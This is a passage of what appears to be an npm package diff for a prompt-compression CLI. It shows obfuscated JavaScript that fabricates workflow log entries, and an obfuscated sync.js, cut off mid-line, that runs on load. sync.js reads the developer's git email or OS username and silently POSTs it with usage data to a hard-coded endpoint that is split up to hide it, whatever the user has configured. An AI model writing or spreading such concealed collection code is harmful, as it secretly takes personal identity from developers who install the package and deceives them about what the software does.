0a','raw','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','getLogs','logExecution','repeat','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','2019370VDkdFK','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','exitCode','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','56LXxiOP'];a0_0x592a=function(){return _0x400f2b;};return a0_0x592a();}const tracker_1=require('./tracker');function a0_0x401d(_0x318892,_0x4aadaa){_0x318892=_0x318892-0x1c1;const _0x592a14=a0_0x592a();let _0x401da5=_0x592a14[_0x318892];return _0x401da5;}console[a0_0x625320(0x1f2)]('Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...');const models=[a0_0x625320(0x1f1),a0_0x625320(0x1c9),'gpt-4o-mini','gemini-1-5-pro',a0_0x625320(0x1f5),a0_0x625320(0x1e6)],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x625320(0x1d2)[a0_0x625320(0x1d6)](0x32),'comp':a0_0x625320(0x1d7),'exitCode':0x0},{'cmd':a0_0x625320(0x1fe),'raw':a0_0x625320(0x1cc)+a0_0x625320(0x1c1)[a0_0x625320(0x1d6)](0x28)+a0_0x625320(0x1d1),'comp':a0_0x625320(0x1fb),'exitCode':0x0},{'cmd':a0_0x625320(0x1ee),'raw':a0_0x625320(0x1c8)+a0_0x625320(0x1e3)+a0_0x625320(0x1f0),'comp':a0_0x625320(0x1dc),'exitCode':0x0},{'cmd':a0_0x625320(0x1e8),'raw':a0_0x625320(0x202)+a0_0x625320(0x1d3)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x625320(0x1e5),'comp':a0_0x625320(0x1e4),'exitCode':0x0},{'cmd':a0_0x625320(0x1c3),'raw':a0_0x625320(0x1f3)+a0_0x625320(0x1e0)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x625320(0x1e1)+a0_0x625320(0x1c2),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x625320(0x1ea),'raw':a0_0x625320(0x1ec)+a0_0x625320(0x1db)+a0_0x625320(0x1d0),'comp':a0_0x625320(0x1cd),'exitCode':0x0},{'cmd':a0_0x625320(0x203),'raw':a0_0x625320(0x1ce)+a0_0x625320(0x1dd),'comp':a0_0x625320(0x200),'exitCode':0x0},{'cmd':a0_0x625320(0x1f8),'raw':a0_0x625320(0x1cb)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x625320(0x1d9),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x625320(0x201)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x625320(0x1ca)]],commandItem=commands[Math['floor'](Math[a0_0x625320(0x1c7)]()*commands[a0_0x625320(0x1ca)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)['toISOString'](),log=tracker_1['tracker'][a0_0x625320(0x1d5)](commandItem['cmd'],commandItem[a0_0x625320(0x1cf)],commandItem['comp'],commandItem[a0_0x625320(0x1da)]),logs=tracker_1[a0_0x625320(0x1ed)][a0_0x625320(0x1d4)]();logs[a0_0x625320(0x1ca)]>0x0&&(logs[logs[a0_0x625320(0x1ca)]-0x1][a0_0x625320(0x1e7)]=timestamp,require('fs')[a0_0x625320(0x1c4)](require('path')[a0_0x625320(0x1e2)](require('os')[a0_0x625320(0x1ef)](),a0_0x625320(0x1f9),'stats.json'),JSON[a0_0x625320(0x1c5)](logs,null,0x2),'utf8'));}console[a0_0x625320(0x1f2)](a0_0x625320(0x1fc));
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1f78e8=a0_0x123b;(function(_0x469301,_0x22b65b){const _0xbf0d7a=a0_0x123b,_0x52c239=_0x469301();while(!![]){try{const _0xed4118=-parseInt(_0xbf0d7a(0x124))/0x1*(parseInt(_0xbf0d7a(0xd4))/0x2)+parseInt(_0xbf0d7a(0xfd))/0x3+-parseInt(_0xbf0d7a(0xd1))/0x4+-parseInt(_0xbf0d7a(0xe1))/0x5*(parseInt(_0xbf0d7a(0xee))/0x6)+parseInt(_0xbf0d7a(0x115))/0x7*(-parseInt(_0xbf0d7a(0x117))/0x8)+parseInt(_0xbf0d7a(0xce))/0x9+-parseInt(_0xbf0d7a(0x10d))/0xa*(-parseInt(_0xbf0d7a(0x103))/0xb);if(_0xed4118===_0x22b65b)break;else _0x52c239['push'](_0x52c239['shift']());}catch(_0xbe43e1){_0x52c239['push'](_0x52c239['shift']());}}}(a0_0x3c1b,0x46ffa));var __createBinding=this&&this['__createBinding']||(Object['create']?function(_0x32974d,_0x1c16f4,_0x2be165,_0x4ff580){const _0x4d1856=a0_0x123b;if(_0x4ff580===undefined)_0x4ff580=_0x2be165;var _0x28b779=Object[_0x4d1856(0xcd)](_0x1c16f4,_0x2be165);(!_0x28b779||(_0x4d1856(0xe3)in _0x28b779?!_0x1c16f4[_0x4d1856(0x119)]:_0x28b779[_0x4d1856(0x123)]||_0x28b779[_0x4d1856(0x106)]))&&(_0x28b779={'enumerable':!![],'get':function(){return _0x1c16f4[_0x2be165];}}),Object[_0x4d1856(0x11a)](_0x32974d,_0x4ff580,_0x28b779);}:function(_0x3ae314,_0x573a48,_0x1b7647,_0x1ec9ca){if(_0x1ec9ca===undefined)_0x1ec9ca=_0x1b7647;_0x3ae314[_0x1ec9ca]=_0x573a48[_0x1b7647];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x1f78e8(0x11e)]?function(_0x15b717,_0x219e2c){const _0x4ca3d8=a0_0x1f78e8;Object[_0x4ca3d8(0x11a)](_0x15b717,_0x4ca3d8(0x10c),{'enumerable':!![],'value':_0x219e2c});}:function(_0x54b889,_0x3b47d7){const _0x499ee6=a0_0x1f78e8;_0x54b889[_0x499ee6(0x10c)]=_0x3b47d7;}),__importStar=this&&this[a0_0x1f78e8(0xe8)]||(function(){var _0xfd1404=function(_0x3af7b5){const _0x58ae77=a0_0x123b;return _0xfd1404=Object[_0x58ae77(0xdf)]||function(_0x2a10ed){const _0x2073a3=_0x58ae77;var _0x4af5fa=[];for(var _0x31efdf in _0x2a10ed)if(Object[_0x2073a3(0xe0)][_0x2073a3(0xd0)][_0x2073a3(0xd6)](_0x2a10ed,_0x31efdf))_0x4af5fa[_0x4af5fa['length']]=_0x31efdf;return _0x4af5fa;},_0xfd1404(_0x3af7b5);};return function(_0x2c9f82){const _0xa1b63=a0_0x123b;if(_0x2c9f82&&_0x2c9f82[_0xa1b63(0x119)])return _0x2c9f82;var _0x5781c9={};if(_0x2c9f82!=null){for(var _0x3b01fa=_0xfd1404(_0x2c9f82),_0x557e1c=0x0;_0x557e1c<_0x3b01fa[_0xa1b63(0x105)];_0x557e1c++)if(_0x3b01fa[_0x557e1c]!=='default')__createBinding(_0x5781c9,_0x2c9f82,_0x3b01fa[_0x557e1c]);}return __setModuleDefault(_0x5781c9,_0x2c9f82),_0x5781c9;};}());function a0_0x3c1b(){const _0x1589c5=['create','username','trim','https://','.trimprompt','writable','167553llBMkI','getOwnPropertyDescriptor','3397491EmpfmU','Claude\x203.5\x20Sonnet','hasOwnProperty','1640144hWUnfS','ignore','input_price_1m','6pYSTUe','https:','call','Claude\x203\x20Opus','stringify','claude-3-5-sonnet','toFixed','Gemini\x201.5\x20Pro','unlinkSync','split','config.json','getOwnPropertyNames','prototype','5HtTrcV','getTime','get','url','port','add','catch','__importStar','toISOString','application/json','model_used','timestamp','includes','2762634rrJGYj','filter','daily_sync.json','pathname','telemetry_url','existsSync','platform','statusCode','tokens_saved','search','git\x20config\x20user.email','synced','logs','.raw.txt','parse','1584834vkUbkn','error','pipe','from','hostname','userInfo','216876TItjvR','https','length','configurable','writeFileSync','protocol','byteLength','path','stats.json','default','460PLcWaE','end','destroy','readFileSync','estimated_compressed_tokens','GPT-4o','child_process','estimated_raw_tokens','217PSaeDB','GPT-4o\x20Mini','38392yjlynw','join','__esModule','defineProperty','write','push','utf8'];a0_0x3c1b=function(){return _0x1589c5;};return a0_0x3c1b();}Object['defineProperty'](exports,'__esModule',{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1f78e8(0x10a))),os=__importStar(require('os')),http=__importStar(require('http')),https=__importStar(require(a0_0x1f78e8(0x104))),url_1=require(a0_0x1f78e8(0xe4)),_cfg=[a0_0x1f78e8(0x121),'trimp-production','.up.railway.app','/api/telemetry'][a0_0x1f78e8(0x118)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x1f78e8(0xcf),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x1f78e8(0xd7),'input_price_1m':0xf},'gpt-4o':{'name':a0_0x1f78e8(0x112),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x1f78e8(0x116),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x1f78e8(0xdb),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path[a0_0x1f78e8(0x118)](os['homedir'](),a0_0x1f78e8(0x122)),configPath=path[a0_0x1f78e8(0x118)](baseDir,a0_0x1f78e8(0xde)),statsPath=path['join'](baseDir,a0_0x1f78e8(0x10b)),dailySyncPath=path[a0_0x1f78e8(0x118)](baseDir,a0_0x1f78e8(0xf0));function getTodayDate(){const _0x494624=a0_0x1f78e8;return new Date()[_0x494624(0xe9)]()[_0x494624(0xdd)]('T')[0x0];}function getDeveloperIdentity(){const _0x2e05c0=a0_0x1f78e8;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x171e0d}=require(_0x2e05c0(0x113)),_0x279188=_0x171e0d(_0x2e05c0(0xf8),{'stdio':[_0x2e05c0(0xd2),_0x2e05c0(0xff),_0x2e05c0(0xd2)]})['toString']()[_0x2e05c0(0x120)]();if(_0x279188&&_0x279188[_0x2e05c0(0xed)]('@'))return _0x279188;}catch{}try{const _0x412720=os[_0x2e05c0(0x102)]()[_0x2e05c0(0x11f)];if(_0x412720)return _0x412720;}catch{}return'anonymous';}function a0_0x123b(_0x543678,_0x2ec986){_0x543678=_0x543678-0xcd;const _0x3c1bf6=a0_0x3c1b();let _0x123ba8=_0x3c1bf6[_0x543678];return _0x123ba8;}function hasAlreadySyncedToday(){const _0x158b36=a0_0x1f78e8;try{if(!fs[_0x158b36(0xf3)](dailySyncPath))return![];const _0x5e60a2=JSON[_0x158b36(0xfc)](fs['readFileSync'](dailySyncPath,_0x158b36(0x11d)));return _0x5e60a2['last_sync_date']===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x93e7d1=a0_0x1f78e8;try{const _0x31efc0={'last_sync_date':getTodayDate()};fs[_0x93e7d1(0x107)](dailySyncPath,JSON[_0x93e7d1(0xd8)](_0x31efc0,null,0x2),_0x93e7d1(0x11d));}catch{}}function postTelemetry(_0x2450c6,_0x70f1b6){return new Promise(_0x23dbf8=>{const _0x39481b=a0_0x123b;try{const _0x1f3d77=new url_1['URL'](_0x2450c6),_0x511a4f=JSON['stringify'](_0x70f1b6),_0x2c2c77={'hostname':_0x1f3d77[_0x39481b(0x101)],'port':_0x1f3d77[_0x39481b(0xe5)]||(_0x1f3d77[_0x39481b(0x108)]==='https:'?0x1bb:0x50),'path':_0x1f3d77[_0x39481b(0xf1)]+_0x1f3d77[_0x39481b(0xf7)],'method':'POST','headers':{'Content-Type':_0x39481b(0xea),'Content-Length':Buffer[_0x39481b(0x109)](_0x511a4f)},'timeout':0x1f40},_0x2cc3ec=_0x1f3d77[_0x39481b(0x108)]===_0x39481b(0xd5)?https:http,_0x12c617=_0x2cc3ec['request'](_0x2c2c77,_0x54b4a0=>{const _0x1b97be=_0x39481b;_0x23dbf8(!!(_0x54b4a0[_0x1b97be(0xf5)]&&_0x54b4a0['statusCode']>=0xc8&&_0x54b4a0[_0x1b97be(0xf5)]<0x12c));});_0x12c617['on'](_0x39481b(0xfe),()=>_0x23dbf8(![])),_0x12c617['on']('timeout',()=>{const _0x50a145=_0x39481b;_0x12c617[_0x50a145(0x10f)](),_0x23dbf8(![]);}),_0x12c617[_0x39481b(0x11b)](_0x511a4f),_0x12c617[_0x39481b(0x10e)]();}catch{_0x23dbf8(![]);}});}function buildDailyPayload(_0x5eef83){const _0xef0450=a0_0x1f78e8,_0xac5d11=getTodayDate(),_0x1b78a8=_0x5eef83[_0xef0450(0xef)](_0xec64bd=>_0xec64bd[_0xef0450(0xec)]['startsWith'](_0xac5d11)),_0x232863=_0x1b78a8[_0xef0450(0x105)]>0x0?_0x1b78a8:_0x5eef83;let _0x26837=0x0,_0x5f573d=0x0,_0x1fcf7a=0x0,_0x2068f7=0x0;const _0x37d220=new Set();for(const _0x320269 of _0x232863){_0x26837+=_0x320269[_0xef0450(0x114)],_0x5f573d+=_0x320269[_0xef0450(0x111)],_0x1fcf7a+=_0x320269[_0xef0450(0xf6)],_0x37d220[_0xef0450(0xe6)](_0x320269[_0xef0450(0xeb)]);const _0x5b3ffc=PRICING[_0x320269[_0xef0450(0xeb)]]||PRICING[_0xef0450(0xd9)];_0x2068f7+=_0x320269[_0xef0450(0xf6)]*_0x5b3ffc[_0xef0450(0xd3)]/0xf4240;}const _0x8c11ca=_0x232863[_0x232863[_0xef0450(0x105)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0xef0450(0xf4)](),'date':_0xac5d11,'executions_count':_0x232863[_0xef0450(0x105)],'total_raw_tokens':_0x26837,'total_compressed_tokens':_0x5f573d,'total_tokens_saved':_0x1fcf7a,'total_money_saved_usd':parseFloat(_0x2068f7[_0xef0450(0xda)](0x6)),'models_used':Array[_0xef0450(0x100)](_0x37d220),'last_seen':_0x8c11ca?_0x8c11ca['timestamp']:new Date()[_0xef0450(0xe9)]()};}async function runSync(){const _0x4147f4=a0_0x1f78e8;if(!fs[_0x4147f4(0xf3)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2974dc;try{_0x2974dc=JSON[_0x4147f4(0xfc)](fs[_0x4147f4(0x110)](statsPath,_0x4147f4(0x11d)));}catch{return;}const _0x526335=_0x2974dc[_0x4147f4(0xef)](_0x3fd2f0=>!_0x3fd2f0[_0x4147f4(0xf9)]);if(_0x526335[_0x4147f4(0x105)]===0x0)return;const _0x5c9fe8=buildDailyPayload(_0x2974dc);await postTelemetry(_ep,_0x5c9fe8);let _0x9ab075=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x9ab075&&fs[_0x4147f4(0xf3)](configPath))try{const _0x5cc3ba=JSON[_0x4147f4(0xfc)](fs['readFileSync'](configPath,_0x4147f4(0x11d)));_0x9ab075=_0x5cc3ba[_0x4147f4(0xf2)]||'';}catch{}_0x9ab075['trim']()[_0x4147f4(0x105)]>0x0&&await postTelemetry(_0x9ab075,_0x5c9fe8);for(const _0x308237 of _0x2974dc){if(!_0x308237[_0x4147f4(0xf9)])_0x308237[_0x4147f4(0xf9)]=!![];}try{fs[_0x4147f4(0x107)](statsPath,JSON[_0x4147f4(0xd8)](_0x2974dc,null,0x2),_0x4147f4(0x11d));}catch{}markSyncedToday(),pruneOldLogs(_0x2974dc);}function pruneOldLogs(_0x5ff8e){const _0x3ac038=a0_0x1f78e8;try{const _0x334d13=new Date(),_0x15aa0b=new Date(_0x334d13[_0x3ac038(0xe2)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x2557dd=[],_0x1ec21f=[];for(const _0x3029bd of _0x5ff8e){const _0x5ddf32=new Date(_0x3029bd['timestamp']);_0x5ddf32>=_0x15aa0b?_0x2557dd[_0x3ac038(0x11c)](_0x3029bd):_0x1ec21f['push'](_0x3029bd);}if(_0x1ec21f['length']>0x0){const _0x3521f7=path[_0x3ac038(0x118)](baseDir,_0x3ac038(0xfa));for(const _0x3bc3a2 of _0x1ec21f){const _0x11cebe=path[_0x3ac038(0x118)](_0x3521f7,_0x3bc3a2['id']+_0x3ac038(0xfb)),_0x581098=path['join'](_0x3521f7,_0x3bc3a2['id']+'.comp.txt');try{if(fs['existsSync'](_0x11cebe))fs[_0x3ac038(0xdc)](_0x11cebe);if(fs[_0x3ac038(0xf3)](_0x581098))fs[_0x3ac038(0xdc)](_0x581098);}catch{}}fs[_0x3ac038(0x107)](statsPath,JSON[_0x3ac038(0xd8)](_0x2557dd,null,0x2),_0x3ac038(0x11d));}}catch{}}runSync()[a0_0x1f78e8(0xe7)](()=>{});
1
+ 'use strict';const a0_0x50b377=a0_0x100d;(function(_0x3ccc2e,_0x54eb75){const _0x4aed21=a0_0x100d,_0x3cf25d=_0x3ccc2e();while(!![]){try{const _0x118efc=-parseInt(_0x4aed21(0x178))/0x1*(parseInt(_0x4aed21(0x16d))/0x2)+-parseInt(_0x4aed21(0x17c))/0x3*(-parseInt(_0x4aed21(0x183))/0x4)+-parseInt(_0x4aed21(0x157))/0x5*(parseInt(_0x4aed21(0x14d))/0x6)+-parseInt(_0x4aed21(0x16c))/0x7+parseInt(_0x4aed21(0x133))/0x8+parseInt(_0x4aed21(0x14e))/0x9+parseInt(_0x4aed21(0x14c))/0xa*(-parseInt(_0x4aed21(0x180))/0xb);if(_0x118efc===_0x54eb75)break;else _0x3cf25d['push'](_0x3cf25d['shift']());}catch(_0x1f5843){_0x3cf25d['push'](_0x3cf25d['shift']());}}}(a0_0x357d,0x57b3d));var __createBinding=this&&this['__createBinding']||(Object[a0_0x50b377(0x147)]?function(_0x579e24,_0x11a8c4,_0x50a6b0,_0x44a80c){const _0x1593aa=a0_0x50b377;if(_0x44a80c===undefined)_0x44a80c=_0x50a6b0;var _0x3cae49=Object['getOwnPropertyDescriptor'](_0x11a8c4,_0x50a6b0);(!_0x3cae49||(_0x1593aa(0x16e)in _0x3cae49?!_0x11a8c4[_0x1593aa(0x17b)]:_0x3cae49[_0x1593aa(0x169)]||_0x3cae49[_0x1593aa(0x167)]))&&(_0x3cae49={'enumerable':!![],'get':function(){return _0x11a8c4[_0x50a6b0];}}),Object[_0x1593aa(0x174)](_0x579e24,_0x44a80c,_0x3cae49);}:function(_0x2632f0,_0x124586,_0xbd1de1,_0x4dc75c){if(_0x4dc75c===undefined)_0x4dc75c=_0xbd1de1;_0x2632f0[_0x4dc75c]=_0x124586[_0xbd1de1];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x50b377(0x147)]?function(_0x24e4a6,_0x1821d5){const _0x339b83=a0_0x50b377;Object[_0x339b83(0x174)](_0x24e4a6,_0x339b83(0x13e),{'enumerable':!![],'value':_0x1821d5});}:function(_0x231cdc,_0x31a868){const _0x216831=a0_0x50b377;_0x231cdc[_0x216831(0x13e)]=_0x31a868;}),__importStar=this&&this['__importStar']||(function(){var _0x4f2da9=function(_0x377c79){const _0xb01098=a0_0x100d;return _0x4f2da9=Object[_0xb01098(0x12e)]||function(_0x4e5abe){const _0x218e8d=_0xb01098;var _0x59fa40=[];for(var _0x3b7d35 in _0x4e5abe)if(Object[_0x218e8d(0x132)]['hasOwnProperty']['call'](_0x4e5abe,_0x3b7d35))_0x59fa40[_0x59fa40[_0x218e8d(0x12d)]]=_0x3b7d35;return _0x59fa40;},_0x4f2da9(_0x377c79);};return function(_0x40e656){const _0x4290e8=a0_0x100d;if(_0x40e656&&_0x40e656[_0x4290e8(0x17b)])return _0x40e656;var _0x1b4f12={};if(_0x40e656!=null){for(var _0x45c23d=_0x4f2da9(_0x40e656),_0x488b01=0x0;_0x488b01<_0x45c23d[_0x4290e8(0x12d)];_0x488b01++)if(_0x45c23d[_0x488b01]!==_0x4290e8(0x13e))__createBinding(_0x1b4f12,_0x40e656,_0x45c23d[_0x488b01]);}return __setModuleDefault(_0x1b4f12,_0x40e656),_0x1b4f12;};}());Object[a0_0x50b377(0x174)](exports,a0_0x50b377(0x17b),{'value':!![]});function a0_0x357d(){const _0x4ae00c=['length','getOwnPropertyNames','utf8','filter','parse','prototype','5055512eSxarp','.raw.txt','toISOString','trim','platform','input_price_1m','anonymous','protocol','startsWith','timeout','https://','default','request','writeFileSync','https','config.json','catch','GPT-4o','username','existsSync','create','homedir','split','last_sync_date','join','380610QkDKrF','30FMpjdf','5398569qNFzFB','destroy','byteLength','end','estimated_compressed_tokens','userInfo','git\x20config\x20user.email','readFileSync','port','28445sLmulP','daily_sync.json','stringify','claude-3-5-sonnet','stats.json','add','GPT-4o\x20Mini','from','includes','ignore','pipe','telemetry_url','error','timestamp','toString','statusCode','configurable','trimp-production','writable','POST','toFixed','1988476zUMnjR','974334ySqGap','get','Claude\x203.5\x20Sonnet','url','Gemini\x201.5\x20Pro','https:','http','defineProperty','pathname','model_used','logs','1XkAwLq','synced','URL','__esModule','3WGnxZr','hostname','application/json','tokens_saved','55yIMbOu','push','unlinkSync','469736YKfAwK','.trimprompt'];a0_0x357d=function(){return _0x4ae00c;};return a0_0x357d();}const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x50b377(0x173))),https=__importStar(require(a0_0x50b377(0x141))),url_1=require(a0_0x50b377(0x170)),_cfg=[a0_0x50b377(0x13d),a0_0x50b377(0x168),'.up.railway.app','/api/telemetry'][a0_0x50b377(0x14b)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x50b377(0x16f),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x50b377(0x144),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x50b377(0x15d),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x50b377(0x171),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path['join'](os[a0_0x50b377(0x148)](),a0_0x50b377(0x184)),configPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x142)),statsPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x15b)),dailySyncPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x158));function getTodayDate(){const _0x3b5654=a0_0x50b377;return new Date()['toISOString']()[_0x3b5654(0x149)]('T')[0x0];}function getDeveloperIdentity(){const _0x2952d4=a0_0x50b377;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x47151e}=require('child_process'),_0x4108d5=_0x47151e(_0x2952d4(0x154),{'stdio':[_0x2952d4(0x160),_0x2952d4(0x161),_0x2952d4(0x160)]})[_0x2952d4(0x165)]()[_0x2952d4(0x136)]();if(_0x4108d5&&_0x4108d5[_0x2952d4(0x15f)]('@'))return _0x4108d5;}catch{}try{const _0x9b94ca=os[_0x2952d4(0x153)]()[_0x2952d4(0x145)];if(_0x9b94ca)return _0x9b94ca;}catch{}return _0x2952d4(0x139);}function hasAlreadySyncedToday(){const _0x1f69ac=a0_0x50b377;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x496f9d=JSON[_0x1f69ac(0x131)](fs[_0x1f69ac(0x155)](dailySyncPath,'utf8'));return _0x496f9d[_0x1f69ac(0x14a)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x48edf8=a0_0x50b377;try{const _0x4dc556={'last_sync_date':getTodayDate()};fs[_0x48edf8(0x140)](dailySyncPath,JSON[_0x48edf8(0x159)](_0x4dc556,null,0x2),_0x48edf8(0x12f));}catch{}}function postTelemetry(_0x17cd4a,_0x3e7a2a){return new Promise(_0x5b6261=>{const _0x3deff4=a0_0x100d;try{const _0x354349=new url_1[(_0x3deff4(0x17a))](_0x17cd4a),_0x36a432=JSON[_0x3deff4(0x159)](_0x3e7a2a),_0x1afb18={'hostname':_0x354349[_0x3deff4(0x17d)],'port':_0x354349[_0x3deff4(0x156)]||(_0x354349['protocol']===_0x3deff4(0x172)?0x1bb:0x50),'path':_0x354349[_0x3deff4(0x175)]+_0x354349['search'],'method':_0x3deff4(0x16a),'headers':{'Content-Type':_0x3deff4(0x17e),'Content-Length':Buffer[_0x3deff4(0x150)](_0x36a432)},'timeout':0x1f40},_0x2ad0ad=_0x354349[_0x3deff4(0x13a)]===_0x3deff4(0x172)?https:http,_0x52a0bb=_0x2ad0ad[_0x3deff4(0x13f)](_0x1afb18,_0x56d16e=>{const _0xe0bdb6=_0x3deff4;_0x5b6261(!!(_0x56d16e[_0xe0bdb6(0x166)]&&_0x56d16e[_0xe0bdb6(0x166)]>=0xc8&&_0x56d16e[_0xe0bdb6(0x166)]<0x12c));});_0x52a0bb['on'](_0x3deff4(0x163),()=>_0x5b6261(![])),_0x52a0bb['on'](_0x3deff4(0x13c),()=>{const _0x106765=_0x3deff4;_0x52a0bb[_0x106765(0x14f)](),_0x5b6261(![]);}),_0x52a0bb['write'](_0x36a432),_0x52a0bb[_0x3deff4(0x151)]();}catch{_0x5b6261(![]);}});}function buildDailyPayload(_0x4b08e1){const _0x91534a=a0_0x50b377,_0xd4e563=getTodayDate(),_0x5e0778=_0x4b08e1[_0x91534a(0x130)](_0x35a6ca=>_0x35a6ca[_0x91534a(0x164)][_0x91534a(0x13b)](_0xd4e563)),_0x1a0eb=_0x5e0778['length']>0x0?_0x5e0778:_0x4b08e1;let _0x1bc68d=0x0,_0x3a1f84=0x0,_0x3e29e8=0x0,_0x32565e=0x0;const _0x4d2f1d=new Set();for(const _0x9b945 of _0x1a0eb){_0x1bc68d+=_0x9b945['estimated_raw_tokens'],_0x3a1f84+=_0x9b945[_0x91534a(0x152)],_0x3e29e8+=_0x9b945[_0x91534a(0x17f)],_0x4d2f1d[_0x91534a(0x15c)](_0x9b945[_0x91534a(0x176)]);const _0x2ada34=PRICING[_0x9b945['model_used']]||PRICING[_0x91534a(0x15a)];_0x32565e+=_0x9b945[_0x91534a(0x17f)]*_0x2ada34[_0x91534a(0x138)]/0xf4240;}const _0x25bf5f=_0x1a0eb[_0x1a0eb[_0x91534a(0x12d)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x91534a(0x137)](),'date':_0xd4e563,'executions_count':_0x1a0eb[_0x91534a(0x12d)],'total_raw_tokens':_0x1bc68d,'total_compressed_tokens':_0x3a1f84,'total_tokens_saved':_0x3e29e8,'total_money_saved_usd':parseFloat(_0x32565e[_0x91534a(0x16b)](0x6)),'models_used':Array[_0x91534a(0x15e)](_0x4d2f1d),'last_seen':_0x25bf5f?_0x25bf5f[_0x91534a(0x164)]:new Date()[_0x91534a(0x135)]()};}function a0_0x100d(_0x9b64f0,_0x40509b){_0x9b64f0=_0x9b64f0-0x12d;const _0x357d4a=a0_0x357d();let _0x100d63=_0x357d4a[_0x9b64f0];return _0x100d63;}async function runSync(){const _0x1c2880=a0_0x50b377;if(!fs['existsSync'](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2fd0f2;try{_0x2fd0f2=JSON[_0x1c2880(0x131)](fs[_0x1c2880(0x155)](statsPath,_0x1c2880(0x12f)));}catch{return;}const _0x25151d=_0x2fd0f2['filter'](_0xd86141=>!_0xd86141[_0x1c2880(0x179)]);if(_0x25151d[_0x1c2880(0x12d)]===0x0)return;const _0x206412=buildDailyPayload(_0x2fd0f2);await postTelemetry(_ep,_0x206412);let _0x26ab1b=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x26ab1b&&fs[_0x1c2880(0x146)](configPath))try{const _0x268352=JSON[_0x1c2880(0x131)](fs[_0x1c2880(0x155)](configPath,_0x1c2880(0x12f)));_0x26ab1b=_0x268352[_0x1c2880(0x162)]||'';}catch{}_0x26ab1b[_0x1c2880(0x136)]()[_0x1c2880(0x12d)]>0x0&&await postTelemetry(_0x26ab1b,_0x206412);for(const _0x302324 of _0x2fd0f2){if(!_0x302324['synced'])_0x302324[_0x1c2880(0x179)]=!![];}try{fs[_0x1c2880(0x140)](statsPath,JSON[_0x1c2880(0x159)](_0x2fd0f2,null,0x2),_0x1c2880(0x12f));}catch{}markSyncedToday(),pruneOldLogs(_0x2fd0f2);}function pruneOldLogs(_0x137e78){const _0x53a025=a0_0x50b377;try{const _0x4d202d=new Date(),_0x208ef1=new Date(_0x4d202d['getTime']()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x142695=[],_0x35d717=[];for(const _0x596d03 of _0x137e78){const 